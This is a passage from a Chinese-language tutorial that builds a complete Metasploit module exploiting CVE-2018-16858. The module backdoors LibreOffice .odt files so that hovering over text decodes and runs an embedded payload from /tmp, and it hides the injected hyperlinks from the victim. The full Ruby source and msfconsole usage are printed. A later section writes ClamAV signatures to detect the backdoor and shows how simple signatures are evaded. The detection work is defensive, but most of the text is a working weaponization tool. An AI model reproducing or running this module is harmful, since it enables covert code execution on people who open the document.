检查完成后,将开始解压文件,以修改 content.xml 和 styles.xml 的内容,方法与上一节相同。这将通过 Zip 类完成,该类允许在内存中打开和读取 zip 文件,无需直接将内容转储到输出文件。通过调用 Zip::File.open 方法,我们将得到一个包含迭代器属性的对象。通过该属性,可以读取内存中解压缩的每个文件。我们将进行的调用与生成的 datastore 相关联,其中包含指向 .zip 文件的路径,并且通过其迭代器将每个解压缩的文件保存到变量 entry 中,如下所示:
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
zip 文件被打开到一个名为 zipfile 的对象中,并通过 each 获取迭代器,保存在变量 entry 中。该变量可以直接访问已解压缩的文件及其属性。通过 entry.name 可以访问原始文件名;由于我们希望修改名为 styles.xml 和 contents.xml 的文件,通过简单的比较即可读取文件以进行更改。其余文件将保持内容不变。
entry 变量还有一个称为 get_input_stream 的方法,使得处理 zip 文件中的文件就像处理硬盘上的任何文件一样。inputStream 类有一个名为 read 的方法,可以直接将文件的全部内容转储到变量中。
最后,entry 变量还具有 is_directory 方法,用于判断 zip 中的文件是文件还是目录;如果是目录,则可以忽略,不通过 read 方法读取,因为它是 zip 结构本身的一个元素,没有实际内容。
有了所有这些方法,我们就可以生成算法的整体结构,该结构将区分文件是要更改的文件之一、不应更改的文件还是仅仅是一个目录。
该部分的整体结构如下:
if entry.name == "content.xml"
elsif entry.name == "styles.xml"
else
if !entry.name_is_directory?
end
end
如果要读取的文件名为 content.xml,则应插入用户选择的 payload;如果名为 styles.xml,则应更改超链接的样式;最后,如果不是这些文件之一,且不是目录,则直接插入文件而不做任何更改。
理想的处理方式是随着文件的读取,将文件插入到新文档中;因此,就像通过 Zip 类以读取模式打开文件一样,我们将以写入模式打开另一个文件,在其中即时包含压缩文件中的文件。
类似地,调用 Zip 类的 File.open 方法,并使用返回的变量将不同的文件插入到要打开的文件中,这些文件是希望出现在输出压缩文件中的。该方法的第一个参数是文件名,来自用户通过 msfconsole 界面决定的名称。通过变量 datastore['OUTPUT'] 访问该名称。作为第二个参数,指定要通过常量 Zip::File::CREATE 创建一个新的 zip 文件。类似于读取模式打开的方式,此处插入的程序行如下:
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
如前所述,变量 outzip 将用于在 zip 中插入新数据。就像您可以使用 get_input_stream 方法读取 zip 中的文件一样,在写入时,您可以使用类似的 get_output_stream 方法,并使用 write 方法将内容写入文件。get_output_stream 方法的输入参数是文件名。因此,通过 entry.name 访问读取的文件名,通过 entry.get_input_stream.read 访问读取的文件内容,可以直接从 zip 文件中读取文件并将其转储到输出 zip 文件中,如下所示:
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
如您所见,data 中存储了文件的完整内容;因此,如果输入文件名为 styles.xml 或 contents.xml,则需要在转储之前更改该内容;在其他情况下,无需更改任何内容。
与控制台命令 sed 一样,在 Ruby 中也有 gsub 函数,其工作方式完全相同。对于样式文件,可以如下执行 sub 函数:
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
如您所见,该函数没有什么特别之处。它完全是在做与 bash 中的 exploit 相同的事情。完成更改后,即可将 data 变量转储到 zip 的输出文件中。
对于 contents.xml 的情况,需要插入用户选择的 payload,因此应将其以 base64 格式加载到变量中,然后将其插入文件中的必要位置。要执行的 payload 的内容可以通过 payload 变量访问;由于需要可执行格式的 payload,将调用 encoded_exe() 方法,该方法允许以可执行文件格式访问 payload,而不是访问没有作为独立命令执行必要部分的指令。由于需要 base64 格式,将通过 REX 类调用 Text.encode_base64 方法对二进制文件进行 base64 编码,该方法以待编码的数据作为输入。要插入到程序中的指令如下所示:
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
这样,b64_payload 中就包含了 base64 格式的可执行 payload。最后,将使用类似于 sed 命令的更改,在其中插入单词 PAYLOAD,而不是我们在上一节中应用的 base64 代码。在所有更改之后,将在末尾添加一个新的 gsub,相当于最后一次更改,即将文字 PAYLOAD 替换为变量 b64_payload 的内容。代码如下所示:
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
至此,模块所需的所有功能已经解决,模块的完整代码如下:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
def exploit
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
print "Ok we have the input and output file. Lets rock!!!\n\n"
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
if entry.name == "content.xml"
print "Changing content to insert command execution!!!\n"
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
data = entry.get_input_stream.read
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
outzip.get_output_stream(entry.name) { |f| f.write data}
elsif entry.name == "styles.xml"
print "Changing style to make the user not to view the hyperlink.\n\n"
data = entry.get_input_stream.readdata = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
outzip.get_output_stream(entry.name) { |f| f.write data}
else
if !entry.name_is_directory?
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
end
end
end
end
end
else
print_error 'INPUT and OUTPUT must be both .odt file extension'
end
end
end
程序生成后,将保存为名为 libreoffice.rb 的文件,并复制到路径 /modules/exploits/linux/misc。下次执行 msfconsole 时,将加载此新模块。可以像其他模块一样使用,执行:
msf5 > use exploit/linux/misc/libreoffice
msf5 exploit(linux/misc/libreoffice) >
在那里可以查看选项:
msf5 exploit(linux/misc/libreoffice) > show options
Module options (exploit/linux/misc/libreoffice):
Name Current Setting Required Description
---- --------------- -------- -----------
INPUT yes Path and filename to existing .odt to inject the payload selected.
OUTPUT yes Path and filename to make a new infected .odt file.
Exploit target:
Id Name
-- ----
0 linux
然后可以定义一个 INPUT 值、一个 OUTPUT 值,并通过命令 set payload 设置一个兼容的 payload,从而选择输入文件。
生成输出 odt 文件后,将使用通用处理程序 use exploit/multi/handler,配合生成 .odt 文件时选择的兼容 payload。
作为最后一步,将生成一系列反病毒签名,以检测生成的後门,从而防范该威胁。由于大多数反病毒软件是闭源的,将使用开源且可在所有平台上运行的 ClamAV 反病毒软件。
要生成的第一个签名将是静态签名,这是最容易制作的签名类型,但也是最容易绕过或规避的。这种签名主要由静态哈希和文件大小组成。ClamAV 要求的格式是,在扩展名为 .hdb 的文件中,每行以哈希(md5 或 sha1)开头,后跟字节大小和所需的病毒名称。每行仅包含一个病毒定义,每个字段由符号 : 分隔。
如果我们有想要生成签名的文件 exploit.odt,可以选择计算 md5 或 sha1 哈希,这可以通过 Linux 的 md5sum 和 sha1sum 命令轻松完成。命令只需输入命令名后跟要计算的文件即可,类似如下:
user@host:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt
9158e2fc2f87b5ee050a279a38f6bfac exploit.odt
user@host:~/$ sha1sum exploit.odt
a39979533831fbb9eac4ba6c13469b4d421fc1c7 exploit.odt
计算文件大小最简单的方法是使用 ls 命令,将文件路径传递给命令,类似于下面这样:
user@host:~/$ ls -al exploit.odt
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt
因此,可以选择生成一个扩展名为 .hdb 的文件,其中包含获得的 md5 或 sha1 哈希以及大小,如下所示:
9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B
在运行 ClamAV 时,需要指定使用正在生成的签名文件。因此,要使用名为 LibreOfficeSign.hdb 的数据库验证病毒,将按以下方式执行:
user@host:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)
这类签名非常脆弱,一旦恶意软件发生任何变化,反病毒软件就无法再识别。签名使用的哈希,无论是 md5 还是 sha1,文件任何比特位的改变都会导致其无法被检测为病毒。如果只是解压生成的 .odt 文件,并更改文档文本中的任意字母,例如将 a 改为 A,就足以绕过反病毒软件。
接下来将利用 ClamAV 的动态签名系统生成一个更智能的签名,这种签名必须存放在扩展名为 .ndb 的文件中,而非 .hdb。文件内签名的格式虽然与前面提到的类似,但不再使用完整文件的哈希,而是使用文件内部的标识符。将对文件中的特定字符串进行某些比较,如果包含这些字符串,则将其检测为恶意软件。
格式以威胁名称开头,后跟恶意软件应包含的文件类型。数字 0 表示恶意软件可以存在于任何文件类型中。数字 1 表示恶意软件仅影响 32 或 64 位的 exe 可执行文件,6 表示仅存在于 Unix 的 ELF 类型可执行文件中,7 表示是 ASCII 类型文件。下一个字段指定开始比较要识别的字符串字节的字节偏移量。可以使用通配符 * 表示字符串可以在文件的任何位置开始。然后指定用于识别恶意软件的字节串。搜索定义由一串十六进制代码组成。
获取特定文件十六进制代码的一种方法是使用 sigtool 工具,通过标准输入提供字节输入,它将直接返回十六进制表示形式,以便在签名中使用。另一个类似的工具可能是 hexdump,但其输出需要进行一些修改。为简便起见,将使用 sigtool 工具生成签名。
在将要生成的第二个签名中,我们搜索的文件部分将非常简单:使用目录遍历放置的路径,直到执行 os.py 文件的部分。这样,即使 office 文件本身被更改,要执行后门代码,文件中至少需要包含该路径。首先通过以下命令获取十六进制字符:
user@host:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
重要的是在 echo 命令中加入参数 -n,以便末尾不打印换行符。sigtool 命令的结果将作为搜索模式应用于签名,使反病毒软件能够检测到被植入木马的 .odt 文件。
无法定义具体的搜索起始偏移量,因为这将取决于每个 .odt 文档的结构,因此偏移字段将设置为 *。文件类型将定义为 1,以便反病毒软件在任何文件类型中执行搜索。将定义一个名称,最终的签名可能类似如下:
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
签名将存储在文件 LibreOfficeSign.ndb 中,文件名的关键是扩展名。再次运行 clamav 以检查生成的签名是否能够检测到木马。结果将类似于:
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)
虽然使用此签名绕过反病毒检测的方式更为复杂,仅更改 office 文档文本的任意部分是不够的。由于签名定义中使用了特定数量的 ../,仍然可以相对明显地绕过反病毒扫描。在生成漏洞利用时,向下的步数必须设置为一个相对较高的数字,以便从 Linux 内的任何路径都能到达根目录。因此,只需在路径中删除一个 ../ 即可使漏洞利用继续运行并执行生成的后门。因此,将使用更高级的签名定义,允许使用正则表达式检测恶意软件,而不是使用过于固定的签名,避免因非常简单的修改而无法检测到恶意软件。
将使用一个简单的签名,能够在检测到目录遍历尝试时立即发现恶意软件。另外,仅出于教育目的,将使用通配符 *,它允许定义任意数量的连续任意字符。还有其他类似的通配符,例如 ??,可以检测任何字符但仅出现一次。也可以使用通配符 {n} 来检测 n 个字节,以及 {-n} 和 {n-} 分别定义 n 个或更少、n 个或更多字节。
将使用目录遍历之前的字节部分,由数据 pythonSamples| 定义,需要以十六进制格式获取:
user@host:~/$ echo -n "pythonSamples|" | sigtool --hex-dump
707974686f6e53616d706c65737c
还将以相同方式获取 ../ 的十六进制代码:
user@host:~/$ echo -n "../" | sigtool --hex-dump
2e2e2f
因此,将添加到文件中的签名将是两个十六进制字符序列通过 * 的连接,即 707974686f6e53616d706c65737c*2e2e2f。因此,文件 LibreOfficeSign.ndb 中的完整签名如下:
Trojan.LibreOfficeMalware.D:0:*:707974686f6e53616d706c65737c*2e2e2f
在从 contents.xml 文件的每个超链接中删除一个 ../,重新组合 .odt 文件并用反病毒软件验证后,结果如下:
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.D.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.009 sec (0 m 0 s)